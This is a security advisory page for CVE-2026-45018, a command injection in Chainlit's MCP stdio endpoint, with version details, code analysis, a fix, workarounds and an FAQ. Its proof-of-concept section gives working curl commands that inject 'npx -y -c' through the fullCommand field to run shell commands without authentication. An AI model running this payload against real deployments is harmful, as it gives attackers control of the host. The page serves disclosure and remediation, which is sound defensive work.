CVE-2026-45018: Chainlit: Command injection via MCP stdio transport allows unauthenticated remote code execution

Published Aug 25, 2026
·
Updated

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validatemcpcommand() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validatemcpcommand() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowedexecutables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowedexecutables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowedexecutables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validatemcpcommand() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

bash EIOSID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \ | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \ "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIOSID" \ -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

bash curl -s -X POST 'http://TARGET:8000/mcp' \ -H 'Content-Type: application/json' \ -d '{ "sessionId": "rce-proof", "clientType": "stdio", "name": "poc", "fullCommand": "npx -y -c '\''id > /tmp/rceproof'\''" }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rceproof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowedexecutables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

- Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019). - Restrict outbound process-spawning / network capability from the host running Chainlit. - Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowedexecutables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

- On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because getcurrentuser returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication. - No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin <vipin@spl.team> SPL <security@spl.team>

Other sources

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validatemcpcommand() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowedexecutables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowedexecutables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.

MITRE

Affected Software

2 affected componentsFixes available
Chainlit Chainlit>=2.4.0rc0<2.12.0
pip/chainlit>=2.4.0rc0<=2.11.1
2.12.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/chainlit to a version that resolves this vulnerability.

    Fixed in 2.12.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.12.0
  3. Configuration

    Set `features.mcp.enabled = false` in `.chainlit/config.toml` to prevent the MCP stdio attack path (deployments with MCP disabled are not affected by the issue’s startup check).

    Chainlit (.chainlit/config.toml) MCP feature features.mcp.enabled = false
  4. Configuration

    If upgrading and MCP is enabled, migrate any legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections (and the `allowed_executables` setting) to the new `[[features.mcp.servers]]` configuration, otherwise the application will fail to start once MCP is enabled.

    Chainlit (.chainlit/config.toml) MCP configuration features.mcp.servers (legacy migration)
  5. Configuration

    Configure authentication by registering an auth callback so that the `/mcp` endpoint requires an authenticated session (otherwise `/mcp` remains reachable anonymously when no auth callback is registered).

    Chainlit server authentication Auth callback for `/mcp` = required
  6. Compensating control

    Restrict outbound process-spawning / network capability from the host running Chainlit to limit the impact of unauthenticated stdio process spawning.

Event History

Aug 25, 2026
CVE Published
via MITRE·07:18 PM
Data Sourced
via MITRE·07:18 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:19 PM
Data Sourced
via GitHub·07:19 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Only deployments running Chainlit versions >=2.4.0rc0 and <2.12.0 that explicitly set features.mcp.enabled = true in .chainlit/config.toml are affected. MCP has been disabled by default since version 2.7.0, so deployments using the default configuration are not affected.

2

What access does an attacker need?

An attacker does not need authentication or user interaction. Any client able to open a session and reach the POST /mcp endpoint can submit a malicious stdio transport command.

3

What is the practical impact of successful exploitation?

An attacker can use the user-controlled fullCommand value to execute arbitrary shell commands on the server. Those commands run with the privileges of the Chainlit process, with potential high impact to confidentiality, integrity, and availability.

4

What should we do if we cannot upgrade immediately?

Disable MCP by ensuring features.mcp.enabled is not set to true in .chainlit/config.toml. The available patch is Chainlit 2.12.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203